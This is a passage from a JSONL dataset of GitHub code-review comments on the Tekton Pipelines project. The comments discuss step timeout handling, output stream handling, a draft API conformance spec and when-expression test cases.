about what happens when the timeout occurs? e.g. i assume the following steps don't execute, and is there anything in the logs to indicate that a timeout occurred?", "comment_id": 469332044, "created_at": "2020-08-12T15:09:31Z", "line": 264, "path": "docs/tasks.md", "pr_number": 3087, "repo": "pipeline"} +{"author": "bobcatfish", "body": "the shortest you can get away with plz!", "comment_id": 469332782, "created_at": "2020-08-12T15:10:31Z", "line": null, "path": "cmd/entrypoint/runner_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "bobcatfish", "body": "also: why are there two different possibilities for the error message?\r\n\r\ni think it might be nicer to catch this error and return our own, e.g. something like \"killed process since deadline %d exceeded\"", "comment_id": 469333372, "created_at": "2020-08-12T15:11:23Z", "line": null, "path": "cmd/entrypoint/runner_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "bobcatfish", "body": "is the other return value here an error? we probably want to fail if the specified timeout is invalid\r\n\r\n(maybe all of this could also happen in a function which we can unit test?)", "comment_id": 469334003, "created_at": "2020-08-12T15:12:14Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "Indeed this test case is not directly related to timeouts but a consequence of the necessity for an `InternalTektonResultType` in order to digest timeout status messages.\r\n\r\nCurrently `TaskRunResultType`, `PipelineResourceResultType` and `UnknownResultType` exist as a `ResultType` for a `PipelineResourceResult` or `TaskRunResult` (which is a `PipelineResourceResult`). All results that conform to one of these `ResultTypes` are exposed after a taskrun has completed.\r\n\r\nThe `InternalTektonResultType` adds the ability to process a `PipelineResourceResult` internally without exposing it.\r\nThis test confirms that this `ResultType` is filtered from the external `PipelineResourceResults` and `TaskRunResults`.\r\n\r\nWould you suggest I create an entirely separate PR that introduces the `InternalTektonResultType` then?", "comment_id": 472330785, "created_at": "2020-08-18T16:36:45Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "Indeed the other return value is an error.\r\n\r\nHowever, the validity of a specified timeout is already checked in [task_validation.go](https://github.com/tektoncd/pipeline/blob/1cfb4d554b94e525f5788ac597a629d0e1a080c2/pkg/apis/pipeline/v1beta1/task_validation.go#L193) which causes the webhook to deny the creation of a taskrun in case an invalid timeout is specified which is why it's not checked here again.\r\n\r\nWould you still recommend I check it here again and/or possibly add a unit test?", "comment_id": 472353731, "created_at": "2020-08-18T17:12:25Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "I have changed it so that the process spawned by a command is now supposed to sleep for 10 milliseconds while the execution time deadline is set to 1 milliseconds.\r\n\r\nAs a sidenote, it seems like the context deadline is accurate up to about 3 milliseconds.\r\nI.e., if the process is supposed to sleep for 1 second, a 997 millisecond deadline may or may not cause a timeout.\r\n\r\nI'll change the error handling.\r\nWhat happens is that if a context deadline is exceeded, the running process is killed which is why `Run()` would return `\"signal: killed\"` as an error.\r\nI think that if the deadline was super short (i.e. microseconds or lower), the process did not even execute yet which is why `\"context deadline exceeded\"` was returned.\r\n\r\nI now changed it such that if `Run()` returns an error, first the context error is checked to find out whether the context deadline has been exceeded. If the context error is nil, the error returned by Run() will be displayed.\r\n\r\n", "comment_id": 472369737, "created_at": "2020-08-18T17:39:05Z", "line": null, "path": "cmd/entrypoint/runner_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "The first line [here](https://github.com/tektoncd/pipeline/blob/0c2ff5cd1a7fb47b2dc012fd99ddd19d9e3bf3d6/docs/tasks.md#specifying-a-timeout) mentions that `Step` and subsequently the entire `TaskRun` are canceled.\r\n\r\nI'll elaborate and explicitly specify subsequent `Steps` won't execute too. \r\nI can elaborate a bit more on the timeout log as well.\r\n\r\nFurthermore I'll amend the doc by mentioning that the process spawned by a `Step` is killed when a timeout occurs.", "comment_id": 472393419, "created_at": "2020-08-18T18:20:21Z", "line": 264, "path": "docs/tasks.md", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "Changed this to:\r\n- an argument for entrypoints args common between steps (commonExtraEntrypointArgs)\r\n- an argument for step dependent entrypoints args (extraEntrypointArgs)\r\n\r\nThese arguments could also be dissolved into one argument which would mean that every step dependent entrypoint argument will include the common entrypoints argument. I chose not to do that in order to not create an unnecessarily big matrix.\r\n\r\nI also did not pass `[]Step` because a lot of the `[]Container` initialization is already done prior to calling `orderContainers()`.", "comment_id": 478525807, "created_at": "2020-08-27T15:56:26Z", "line": null, "path": "pkg/pod/pod.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "Please see #3138 for a cleanup.", "comment_id": 478526260, "created_at": "2020-08-27T15:57:12Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "See #3138", "comment_id": 478527141, "created_at": "2020-08-27T15:58:34Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "It might be a bit easier to read this test if you just create a TaskRun with the `taskSpec` declared inline, rather than creating a Task then running it.", "comment_id": 480311264, "created_at": "2020-08-31T18:30:57Z", "line": null, "path": "test/timeout_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "Readability nit: I think it might be a bit easier to scan this if you change the brackets and newlines a bit, and use script mode instead of `sh -c`, to something like:\r\n\r\n```\r\nSteps: []v1beta1.Step{{\r\n Container: corev1.Container{\r\n Image: \"busybox\",\r\n },\r\n Script: \"sleep 1\",\r\n Timeout: \"1ms\",\r\n}, {\r\n Container: corev1.Container{\r\n Image: \"busybox\",\r\n },\r\n Script: \"sleep 1\",\r\n}}\r\n```", "comment_id": 480312950, "created_at": "2020-08-31T18:34:01Z", "line": null, "path": "test/timeout_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": null, "body": "No need to wrap in an `if` here I don't think. This can also be part of the struct declaration since `timeout` will default to an empty string if none is provided.", "comment_id": 496722863, "created_at": "2020-09-29T13:37:12Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 3087, "repo": "pipeline"} +{"author": null, "body": "Suggest renaming `timeoutContext` to `remainingTime` or `parsedTimeout` or something similar. Use of the word `Context` in the variable name confused me a tad initially.\r\n\r\nAlso, we should probably still handle the error here, just in case a mangled string somehow made it from the controller to the entrypoint cmd despite the validation we have elsewhere.", "comment_id": 497562957, "created_at": "2020-09-30T14:38:04Z", "line": null, "path": "cmd/entrypoint/runner.go", "pr_number": 3087, "repo": "pipeline"} +{"author": null, "body": "Minor phrasing nit: suggest ``If the `Step` execution time exceeds the specified timeout, the `Step` kills its running process and any subsequent `Steps` in the TaskRun will not be executed. The TaskRun is placed into a Failed condition. An accompanying log describing which Step timed out is written as the Failed condition's message.``\r\n\r\n", "comment_id": 497572570, "created_at": "2020-09-30T14:50:08Z", "line": null, "path": "docs/tasks.md", "pr_number": 3087, "repo": "pipeline"} +{"author": null, "body": "nit: space after `//`. Suggest slightly different wording: `Timeout is an optional user-specified duration within which the Step must complete`", "comment_id": 497618822, "created_at": "2020-09-30T15:51:18Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 3087, "repo": "pipeline"} +{"author": null, "body": "It might be worth adding a couple of tests to codify how the function deals with edge cases like: invalid timeout string, negative timeout string, empty string.", "comment_id": 497642306, "created_at": "2020-09-30T16:25:42Z", "line": null, "path": "cmd/entrypoint/runner_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "Agreed on the empty string.\r\nAs for the invalid/negative timeout string, I'm not sure it adds much considering that the [webhook](https://github.com/tektoncd/pipeline/blob/d7cfc6671dae95c935331a20189d521b1a8379ac/pkg/apis/pipeline/v1beta1/task_validation.go#L164) would already bar such strings in the first place, what do you think?", "comment_id": 497717772, "created_at": "2020-09-30T18:31:18Z", "line": null, "path": "cmd/entrypoint/runner_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": null, "body": "Hm, I think there are still edge cases that wouldn't be caught by the validating webhook - the controller could have a bug in it that mangles the strings it sends in the entrypoint args, another developer could accidentally introduce a \"-\" to the duration value.\r\n\r\nEdge cases like this can seem a bit silly but it's better (in my view anyway) for the code to fail loudly if we introduce any bugs like that than for it to start quietly exhibiting inexplicable behaviour that we don't have testing around.", "comment_id": 497734165, "created_at": "2020-09-30T19:00:33Z", "line": null, "path": "cmd/entrypoint/runner_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "I understand. As you pointed out offline, this will be resolved in #3304 .", "comment_id": 498251848, "created_at": "2020-10-01T13:39:46Z", "line": null, "path": "cmd/entrypoint/runner_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "Additionally I added unit tests for the webhook.", "comment_id": 498252783, "created_at": "2020-10-01T13:41:09Z", "line": null, "path": "cmd/entrypoint/runner_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "I might suggest this method taking a ctx argument instead of a string timeout, or if there's some reason not to take a ctx, have it take a time.Duration instead.\r\n\r\nThe reason is that because of the variadic arg, it'll be a bit confusing to see it called like `Run(\"30s\", \"echo\", \"hello\")`, compared to `Run(ctx, \"echo\", \"hello\")` or slightly worse,`Run(30*time.Second, \"echo\", \"hello\")`", "comment_id": 498466340, "created_at": "2020-10-01T19:24:52Z", "line": null, "path": "cmd/entrypoint/runner.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "Can we pass a `nil` slice here instead of an empty one? That might be easier to read here.", "comment_id": 498467447, "created_at": "2020-10-01T19:27:17Z", "line": null, "path": "pkg/pod/entrypoint_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "Maybe instead of `extraEntrypointArgs`, which at least for now will always be a slice of at-most-two-element slices like `[]string{\"-timeout\", \"30s\"}`, we just make this `timeouts []*time.Duration`, where a `nil` means \"no timeout\"?\r\n\r\nThe addition of timeouts args, or extra args in general, feels like it belongs outside a method called `orderContainers`, which is so far primarily focused on setting `-wait_file`/`-post_file` flags. Should we rename the method to describe its new scope? Or split it into separate methods?", "comment_id": 498478261, "created_at": "2020-10-01T19:50:25Z", "line": null, "path": "pkg/pod/entrypoint.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "Originally I did pass the context here, the reason that I'm now passing the timeout argument is that as soon as you add a deadline to a context, time starts running. The closer to the execution of the actual command the timeout is added to the context, the less timeout time is wasted on overhead before the command executes.\r\n\r\nIn reality this overhead (which technically could vary between systems) is probably in the order of milliseconds which may not be significant for the timeouts we expect to be set for a `Step`. If we accept that \"wasting of time\" it could also be done as you suggest.", "comment_id": 498497196, "created_at": "2020-10-01T20:31:22Z", "line": null, "path": "cmd/entrypoint/runner.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "I think that's an acceptable skew from enforced timeout to \"actual\" timeout. If a user notices their timeouts being enforced 100 microseconds earlier, I'd be surprised :) ", "comment_id": 498513374, "created_at": "2020-10-01T21:06:37Z", "line": null, "path": "cmd/entrypoint/runner.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "In this case we could just do `time.Millisecond` instead of involving a `ParseDuration` on a constant.", "comment_id": 499796534, "created_at": "2020-10-05T18:39:32Z", "line": null, "path": "cmd/entrypoint/runner_test.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "I can't believe I didn't notice this before, but this could be `*metav1.Duration` instead of `string` and this will be parsed/validated by API machinery code before it ever reaches us.\r\n\r\nSee https://godoc.org/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1#PipelineRunSpec", "comment_id": 499797132, "created_at": "2020-10-05T18:40:39Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_types.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "This could also be a `*metav1.Duration`", "comment_id": 499797680, "created_at": "2020-10-05T18:41:43Z", "line": 67, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "So there's https://golang.org/pkg/flag/#Duration which handles parsing for us, and will let us abstract away another parse...", "comment_id": 499817476, "created_at": "2020-10-05T19:18:46Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "Indeed much better!", "comment_id": 500215297, "created_at": "2020-10-06T11:55:34Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_types.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "Made it `*time.Duration` in this case because it'll already be parsed as such.", "comment_id": 500216015, "created_at": "2020-10-06T11:56:54Z", "line": 67, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "What error does cmd.Start return when the context's deadline is exceeded? Can we just return that? Having to check for ctx.Err() in each of these is cumbersome and we're likely to forget one in future changes.", "comment_id": 500419785, "created_at": "2020-10-06T16:05:11Z", "line": 46, "path": "cmd/entrypoint/runner.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "imjasonh", "body": "Let's generalize this comment to describe what the user will see, instead of how it will work.\r\n\r\n```\r\n // Timeout is the time after which the step times out. Defaults to never.\r\n // Refer to Go's ParseDuration documentation for expected format: https://golang.org/pkg/time/#ParseDuration\r\n```", "comment_id": 500421069, "created_at": "2020-10-06T16:06:56Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_types.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "Peaorl", "body": "cmd.Start() returns some generic error about the command being killed, this could be for any reason. Therefore we need to check ctx.Err() to know whether this was due to exceeding the timeout so we can have appropriate error reporting.", "comment_id": 500424697, "created_at": "2020-10-06T16:12:43Z", "line": 46, "path": "cmd/entrypoint/runner.go", "pr_number": 3087, "repo": "pipeline"} +{"author": "vdemeester", "body": "I think we shouldn't need to create 2 `stopCh` (for `stdout` and `stderr`), one is enough :upside_down_face: ", "comment_id": 471366447, "created_at": "2020-08-17T09:49:25Z", "line": null, "path": "cmd/entrypoint/runner.go", "pr_number": 3103, "repo": "pipeline"} +{"author": "chhsia0", "body": "Oh you're right. Thanks!", "comment_id": 471635657, "created_at": "2020-08-17T17:19:31Z", "line": null, "path": "cmd/entrypoint/runner.go", "pr_number": 3103, "repo": "pipeline"} +{"author": null, "body": "nit: `stdout stream` -> `output stream`", "comment_id": 520098161, "created_at": "2020-11-09T20:25:10Z", "line": 121, "path": "pkg/apis/pipeline/v1beta1/task_types.go", "pr_number": 3103, "repo": "pipeline"} +{"author": null, "body": "Suggest putting `1024` into a named constant with any relevant info about its value in an accompanying comment.", "comment_id": 526259199, "created_at": "2020-11-18T17:10:31Z", "line": 33, "path": "cmd/entrypoint/io.go", "pr_number": 3103, "repo": "pipeline"} +{"author": "dlorenc", "body": "Do we expect to have any expected lifetime or mandatory wait period as features move through here? I think wed' want to give platform implementors some time to add support for things so they don't fall out of compliance. ", "comment_id": 480209623, "created_at": "2020-08-31T15:32:48Z", "line": 49, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "I think in practice we'll end up having one, maybe even enforcing and documenting it, but it seems unnecessary at this early stage.\r\n\r\nWhen we reach the point of first making an OPTIONAL surface REQUIRED we'll reach out to platform implementors and get their feedback about how soon they can support it, and work out a timeline. Over time I expect we'll find it normally takes N weeks/months/releases to achieve this, and we can document that as the default upgrade timeline.", "comment_id": 480490708, "created_at": "2020-09-01T00:19:23Z", "line": 49, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "would you see us including that here eventually or do you feel like that's something separate? i could see including it here eventually so you have a \"one stop shop\" for conformance requirements?", "comment_id": 485718479, "created_at": "2020-09-09T15:50:06Z", "line": 37, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "any particular reason why 1.13? just wondering cuz we now require 1.16 i think", "comment_id": 485721528, "created_at": "2020-09-09T15:54:28Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "scope creep / side note: one day i hope we could get https://github.com/tektoncd/community/blob/master/user-profiles.md into a state where we could usefully link to it from here", "comment_id": 485722048, "created_at": "2020-09-09T15:55:12Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "do the folks authoring Tasks come into play here at all? i think they represent a 3rd group kinda between these two", "comment_id": 485722365, "created_at": "2020-09-09T15:55:37Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "what is [parent]?", "comment_id": 485722807, "created_at": "2020-09-09T15:56:16Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "\ud83d\udc4d ", "comment_id": 485723208, "created_at": "2020-09-09T15:56:49Z", "line": 82, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "> not set on the subsequent response.\r\n\r\nnot quite sure what that means here, could you elaborate?", "comment_id": 485724676, "created_at": "2020-09-09T15:58:57Z", "line": 108, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "should we list REQUIRED, etc for the fields above as well? (e.g. i have no idea what severity is about, seems less important)", "comment_id": 485760147, "created_at": "2020-09-09T16:38:40Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "nice, thanks for whittling this down! \r\n\r\nis StepState similar (i.e. based on pod status) or is this something we created ourselves?", "comment_id": 485761656, "created_at": "2020-09-09T16:40:24Z", "line": 259, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "am i crazy or is it possible to have a step without a name", "comment_id": 485763294, "created_at": "2020-09-09T16:42:22Z", "line": 251, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "[]TaskRunResult?", "comment_id": 485763681, "created_at": "2020-09-09T16:42:51Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "( dont let this fool you into thinking i was this thorough with everything i looked at XD )", "comment_id": 485764016, "created_at": "2020-09-09T16:43:15Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "do we want to say anything more about this? in order to support tasks in a pipeline properly, the system would need to support _something_ besides emptyDir", "comment_id": 485764631, "created_at": "2020-09-09T16:44:04Z", "line": 306, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "I don't mind it being in a separate document. It's not currently phrased in terms of \"platform implementations must satisfy this contract\" so much as \"users should expect this contract\", but maybe that's just fine since the vast majority of readers will be users, and very few will be prospective platform providers.\r\n\r\nIn the meantime it's probably enough to just say \"this isn't the runtime contract, that's over there\" and when/if we get any confusion we can resolve it. Launch and iterate \ud83d\ude04 ", "comment_id": 485767706, "created_at": "2020-09-09T16:47:48Z", "line": 37, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "Oh probably just because the original draft was written when 1.13 was the minimum required. \ud83d\udc74 \r\n\r\nAFAIK no relevant fields have been removed/changed since 1.13, so it's technically still true. \ud83e\udd37 ", "comment_id": 485768402, "created_at": "2020-09-09T16:48:39Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "Good question, one I should answer better in the doc \ud83d\ude04 \r\n\r\nBasically, in the scope of the API spec, it's an arbitrary string that represents a container of taskruns. In the k8s implementation it'll be a namespace, but we should be meaningfully vague here to allow other platforms to collect resources however they want, including enabling hierarchies (e.g., something like `/apis/tekton.dev/v1beta1/projects/my-project/locations/us-east4/taskruns` as a total hypothetical)", "comment_id": 485770668, "created_at": "2020-09-09T16:51:26Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "Yeah StepState has the same problem, but it's slightly better since there at least aren't tons of extra inherited fields. But K8s could add more any time they want, so we should spell it out defensively.", "comment_id": 485772423, "created_at": "2020-09-09T16:53:32Z", "line": 259, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "This doc is saying it's \"required\" that platform implementations _support_ naming steps, not that the user's request _must_ specify one.\r\n\r\nIf there's a good clear way to describe that somewhere I'd love to clear that up for future readers.", "comment_id": 485773755, "created_at": "2020-09-09T16:54:57Z", "line": 251, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "Yeah, this version of the doc is just to get a minimal \"anything\" spec out there, we can add more workspace types that platforms must support as we go.\r\n\r\nIt is _conceivable_ that a platform would only support emptyDir, though that would be a pretty serious limitation. So emptyDir should probably be the only REQUIRED option.", "comment_id": 485774982, "created_at": "2020-09-09T16:56:19Z", "line": 306, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "Had me fooled! \ud83d\ude04 ", "comment_id": 485776394, "created_at": "2020-09-09T16:57:49Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "afrittoli", "body": "s/Knative/Tekton?", "comment_id": 488619091, "created_at": "2020-09-15T12:17:12Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "afrittoli", "body": "Any reason we should not be updating this to 1.16 before this PR is merged?", "comment_id": 488643293, "created_at": "2020-09-15T12:55:47Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "afrittoli", "body": "Right now they are grouped under \"Developers\" (Developers may also author these workflow configurations.) but they might be called out as workflow authors.\r\nWe do not mention these groups anywhere in the document though. What is the purpose of having these groups here in the API spec?", "comment_id": 488649087, "created_at": "2020-09-15T13:04:04Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "afrittoli", "body": "Conformance could be associated to version numbers. \r\n\r\nWe do not have a Tekton wide version number as such; I think it's something that we might introduce in future, at least for the pipeline + triggers couple. That would allow us to have conformance associated to an overall Tekton version - which would also be helpful for operator.\r\n\r\nIn any case having to introduce new fields as OPTIONAL matches the model of adding features behind features flags that we should follow for the API.", "comment_id": 488653179, "created_at": "2020-09-15T13:10:02Z", "line": 49, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: it would be nice to phrase this from an API spec POV first and then detail the K8s specific implementation. E.g. The Tekton API (or a Tekton conformant API) provides a set of API resources to manage run-to-completion workflows.\r\nThose are implemented by Tekton as [Kubernetes Custom Resources]...", "comment_id": 488656510, "created_at": "2020-09-15T13:14:38Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "afrittoli", "body": "I'm a bit confused about the \"Kubernetes implementation\" terminology.\r\nMy understanding is that this documents abstracts the Tekton API with the aim to define what a \"Tekton conform\" API should look like. \r\nThe reference implementation is the Tekton implementation, and it's based on k8s. There may be other implementation in future, which will not be called Tekton, and they may or may not be k8s based.\r\nOne might decide to create another k8s version of Tekton written in Rust for instance (probably not).", "comment_id": 488660200, "created_at": "2020-09-15T13:19:41Z", "line": 61, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "afrittoli", "body": "`Cancel` relies on PATCH/REPLACE - so this excludes `cancel` from the functionality required for conformance. It's probably OK, but I wanted to highlight it anyways.", "comment_id": 488662993, "created_at": "2020-09-15T13:23:21Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "afrittoli", "body": "Why are `PipelineRuns` not included? They are part of the beta API and I see for reason for them to be excluded. \r\nI also have mixed feeling about having `Tasks` as OPTIONAL.\r\nWhile it is possible to re-use Tasks (from the public or a private catalog) by injecting them on the fly in a `TaskRun`'s `taskSpec`, doing so would require a non-trivial amount of work for a Tekton use to move some of their workflows to such Tekton conformant platform.", "comment_id": 488676413, "created_at": "2020-09-15T13:40:57Z", "line": 86, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "afrittoli", "body": "This means that support for `taskSpec` is required for conformance, right?", "comment_id": 488679039, "created_at": "2020-09-15T13:44:22Z", "line": 115, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "afrittoli", "body": "I have mixed feelings about this. Timeouts are key to the usability of the platform... if you want to keep this optional we could mention that the platform should at least provide some timeout mechanism (which would not be workflow specific).", "comment_id": 488681593, "created_at": "2020-09-15T13:47:36Z", "line": 118, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "\ud83d\ude0a ", "comment_id": 493148669, "created_at": "2020-09-23T02:05:53Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "This is a really interesting concept I'd like to think on more. I do like the idea of an implementation being able to say it's \"conformant as of Tekton 0.14\", but that also adds a lot of complexity, for potential implementors, for conformance tests, for users just trying to build on Tekton.\r\n\r\nHow would you feel about punting on this until after this initial spec lands, and circling back?", "comment_id": 493151481, "created_at": "2020-09-23T02:10:45Z", "line": 49, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "\u2764\ufe0f ", "comment_id": 493151929, "created_at": "2020-09-23T02:11:31Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "That's useful, thanks. Noted.", "comment_id": 493153508, "created_at": "2020-09-23T02:13:59Z", "line": null, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "PipelineRuns are excluded purely because this is the minimal set I thought we could get away with. It's _definitely_ coming, but this PR is already huge :) ", "comment_id": 493154114, "created_at": "2020-09-23T02:14:53Z", "line": 86, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "That's correct. Implementations _can_ support task references (including someday Tekton Bundles!), but they _must_ support inline-defined task specs.", "comment_id": 493154619, "created_at": "2020-09-23T02:15:39Z", "line": 115, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "I agree! I wanted to have the initial spec be as minimally-scoped as possible, and timeout was on the bubble.\r\n\r\nI could add a note that platforms should consider enforcing timeouts in some way, but honestly that kinda seems like their business. If they don't want to support timeout, I'm not sure we need to make them? I'm on the fence. \ud83e\udd37\u200d\u2642\ufe0f ", "comment_id": 493155385, "created_at": "2020-09-23T02:16:50Z", "line": 118, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "imjasonh", "body": "Yeah, I agree that's a confusing distinction. Words are hard \ud83d\ude05 \r\n\r\nI'd like to avoid calling _anything_ \"_the_ Tekton implementation\", since the rest of this doc tries to draw the distinction that Tekton is primarily an _API_, with potentially many implementations.\r\n\r\nI'd love to find a good term for \"the implementation at https://github.com/tektoncd/pipeline\", I've been referring to this as \"the Kubernetes implementation\", but you're right, that's not necessarily a unique identifier. Suggestions welcome, and we can also punt on finding the best term and just merge this and update it later when we find it.", "comment_id": 495979319, "created_at": "2020-09-28T14:24:32Z", "line": 61, "path": "docs/api-spec.md", "pr_number": 3131, "repo": "pipeline"} +{"author": "bobcatfish", "body": "could you mention what the default value is as well? i assume false?", "comment_id": 485650108, "created_at": "2020-09-09T14:19:46Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3176, "repo": "pipeline"} +{"author": "pritidesai", "body": "Can we add more tests here for examples such as:\r\n\r\n1.\r\n\r\n```\r\n B \r\n / \r\nA (guarded) (CAS=true)\r\n \\ \r\n C \r\n```\r\n\r\n2. \r\n\r\n```\r\n B \r\n / \r\nA (guarded) (CAS=true)\r\n \\ \r\n C (guarded) (CAS=true) - D \r\n```\r\n\r\n3. \r\n\r\n```\r\nA (guarded) (CAS=true)\r\n \\\r\n C\r\n /\r\nB \r\n```\r\n\r\n\r\n", "comment_id": 513846179, "created_at": "2020-10-29T00:52:18Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 3176, "repo": "pipeline"} +{"author": "jerop", "body": "sounds good, ~will add~ added them :) ", "comment_id": 513848951, "created_at": "2020-10-29T01:02:34Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 3176, "repo": "pipeline"} +{"author": null, "body": "One thing I'm noticing working with other kubernetes APIs is that constants like `runBranch` are often capitalized like `RunBranch`. The examples that come to mind are:\r\n\r\n- In a persistent volume claim, examples of `accessModes` are `ReadWriteMany`, `ReadWriteOnce`\r\n- In a pod spec, `restartPolicy` can be `Always`, `OnFailure`, `Never`\r\n- Also in a pod spec, `imagePullPolicy` can be `Always`, `Never`, `IfNotPresent`\r\n\r\nI am wondering if we should follow that style here to offer consistency with those?", "comment_id": 517552378, "created_at": "2020-11-04T18:37:29Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/when_types.go", "pr_number": 3176, "repo": "pipeline"} +{"author": null, "body": "Should there be a name for the default state as well? `skipBranch` like [in the TEP](https://github.com/tektoncd/community/blob/master/teps/0007-conditions-beta.md#skipping-1)? Totally understand if not but just want to flag that it seems common (again looking at k8s' example) for policy fields to name all of the options rather than have one empty and one named. (e.g. from `imagePullPolicy`: `Always`, `Never`, `IfNotPresent`). Actually, looking back at the comment history on this PR it looks like this might 